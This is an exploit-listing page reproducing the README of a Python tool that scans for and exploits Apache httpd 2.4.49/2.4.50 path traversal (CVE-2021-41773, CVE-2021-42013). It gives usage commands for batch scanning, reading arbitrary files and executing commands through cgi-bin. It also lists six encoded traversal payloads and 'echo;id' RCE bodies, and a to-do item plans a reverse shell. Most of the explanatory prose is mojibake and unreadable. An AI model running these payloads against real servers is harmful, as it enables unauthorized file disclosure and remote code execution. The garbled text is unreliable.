Sploitus

Exploit for apache-httpd-path-traversal-checker

kitploit ┬╖ 2026-08-27

Exploit Code

MARKDOWN91 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THELSA-APACHE-HTTPD-PATH-TRAVERSAL-CHECKER
# apache httpd path traversal checker

## 0x00 рд╕рд╛рд░рд╛рдВрд╢

20211005 рдХреЛ, рдСрдирд▓рд╛рдЗрди apache httpd 2.4.49 рдХреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЯреНрд░реИрд╡рд░реНрд╕рд▓ рднреЗрджреНрдпрддрд╛ (cve-2021-41773) рд╕рд╛рдордиреЗ рдЖрдИ, рдЬреЛ рдордирдорд╛рдиреА рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреА рд╣реИ (рдпрджрд┐ рдЯреНрд░реИрд╡рд░реНрд╕ рдХреА рдЧрдИ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рддрдХ рдкрд╣реБрдБрдЪ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ `<Directory />Require all granted</Directory>` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ) рдпрд╛ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди (RCE рдХреЗ рд▓рд┐рдП cgi рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ cgi рдореЙрдбреНрдпреВрд▓ рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рд╣реИ)

20211008 рдХреЛ, 2.4.50 рдХреА рдПрдХ рдФрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЯреНрд░реИрд╡рд░реНрд╕рд▓ (cve-2021-42013) рд╕рд╛рдордиреЗ рдЖрдИ, рдЬреЛ cve-2021-41773 рдХреЗ рдлрд┐рдХреНрд╕ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддреА рд╣реИред

рднреЗрджреНрдпрддрд╛ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: apache httpd 2.4.49/2.4.50 рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЯреНрд░реИрд╡рд░реНрд╕рд▓ рднреЗрджреНрдпрддрд╛ рдкреБрдирд░реБрддреНрдкрд╛рджрди рдФрд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг

## 0x01 рддреНрд╡рд░рд┐рдд рдЖрд░рдВрдн

python3 рд╕реЗ рдЪрд▓рд╛рдПрдБ

рдЙрдкрдпреЛрдЧ рд╕рд╣рд╛рдпрддрд╛: python3 apache-httpd-path-traversal.py -h

![](https://raw.githubusercontent.com/theLSA/apache-httpd-path-traversal-checker/master/demo/apache-httpd-path-traversal-checker-00.png)

рдПрдХрд▓ URL рдЬрд╛рдБрдЪ: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"

![](https://raw.githubusercontent.com/theLSA/apache-httpd-path-traversal-checker/master/demo/apache-httpd-path-traversal-checker-01.png)

![](https://raw.githubusercontent.com/theLSA/apache-httpd-path-traversal-checker/master/demo/apache-httpd-path-traversal-checker-02.png)

рдмреИрдЪ рдЬрд╛рдБрдЪ: python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3

![](https://raw.githubusercontent.com/theLSA/apache-httpd-path-traversal-checker/master/demo/apache-httpd-path-traversal-checker-03.png)

рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдирд╛: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile

![](https://raw.githubusercontent.com/theLSA/apache-httpd-path-traversal-checker/master/demo/apache-httpd-path-traversal-checker-04.png)

рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce

![](https://raw.githubusercontent.com/theLSA/apache-httpd-path-traversal-checker/master/demo/apache-httpd-path-traversal-checker-05.png)

## 0x02 рдЙрдкрдХрд░рдг рдкрд░рд┐рдЪрдп

HTTP рдбреЗрдЯрд╛ рдкреИрдХреЗрдЯ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП urllib.request рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ

рднреЗрджреНрдпрддрд╛ рдХреЗ рдЕрд╕реНрддрд┐рддреНрд╡ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХрд╛ рдЖрдзрд╛рд░ /etc/passwd рдкрдврд╝рдирд╛ рдФрд░ рдЬрд╛рдБрдЪрдирд╛ рд╣реИ рдХрд┐ рд▓реМрдЯрд╛рдП рдЧрдП рдбреЗрдЯрд╛ рдореЗрдВ "root:" рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╣реИ рдпрд╛ рдирд╣реАрдВ (рдХреНрдпреЛрдВрдХрд┐ рдЕрдзрд┐рдХрд╛рдВрд╢ рд▓рд┐рдирдХреНрд╕ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП Windows рдХреА рдЬрд╛рдБрдЪ рдХреЛ рдлрд┐рд▓рд╣рд╛рд▓ рдЕрдирджреЗрдЦрд╛ рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ)

рдорд▓реНрдЯреА-рдереНрд░реЗрдбреЗрдб, рджрдХреНрд╖рддрд╛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЯрд╛рдЗрдордЖрдЙрдЯ рдЪреБрдирдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдкред

рд▓рдЪреАрд▓рд╛рдкрди рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реИрдХрд▓реНрдкрд┐рдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ (--cdir) рдФрд░ RCE рд╢реЗрд▓ (--rceshell)ред

рдЬрд╛рдБрдЪ рдХрд░рддреЗ рд╕рдордп рд╕рдВрднрд╛рд╡рд┐рдд рд╕рд╛рдорд╛рдиреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреА рд╕реВрдЪреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рд┐рдЯ рджрд░ рдмрдврд╝рд╛рддрд╛ рд╣реИред commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']

рдиреЛрдЯ: рдХрднреА-рдХрднреА рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП icons рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ RCE рдХреЗ рд▓рд┐рдП cgi-bin рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрддрд╛ рд╣реИ, рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдерд┐рддрд┐ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВред

7 рдкреЛрдХ рдФрд░ 2 RCE рдкреЛрд╕реНрдЯ рдбреЗрдЯрд╛ рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ:

#cve-2021-41773 poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"

poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"

#cve-2021-42013 poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"

poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"

poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"

poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"

#rce data rce0 = "echo;id"

rce1 = "echo Content-Type: text/plain; echo; id"

// RCE рдХреА POST рд╡рд┐рдзрд┐ рдХреЛ GET рд╡рд┐рдзрд┐ рдореЗрдВ рдмрджрд▓рдирд╛ рднреА рд╕рдВрднрд╡рддрдГ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред

// рдкреЗрд▓реЛрдб рдХреЛ рд▓рдХреНрд╖реНрдп рдХреЗ рдЕрдкрд╛рдЪреЗ рдкрде рд╕реНрддрд░реЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдмрджрд▓рдирд╛ рд╣реЛрддрд╛ рд╣реИ, рдЖрдорддреМрд░ рдкрд░ 4 рд╕реНрддрд░ рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛрддреЗ рд╣реИрдВред

// рдПрдХ рдЕрдкрд╛рдЪреЗ рдореМрдЬреВрджрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ icons/ рдпрд╛ cgi-bin/

## 0x03 TODO

  1. Windows рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд▓рд┐рдП рдЬрд╛рдБрдЪ рдЬреЛрдбрд╝рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ред

  2. рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдЖрджрд┐ рдЬреИрд╕реЗ рдЖрдЧреЗ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ред




## 0x04 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛

issus

gmail: some-email@example.com

qq: some-email@example.com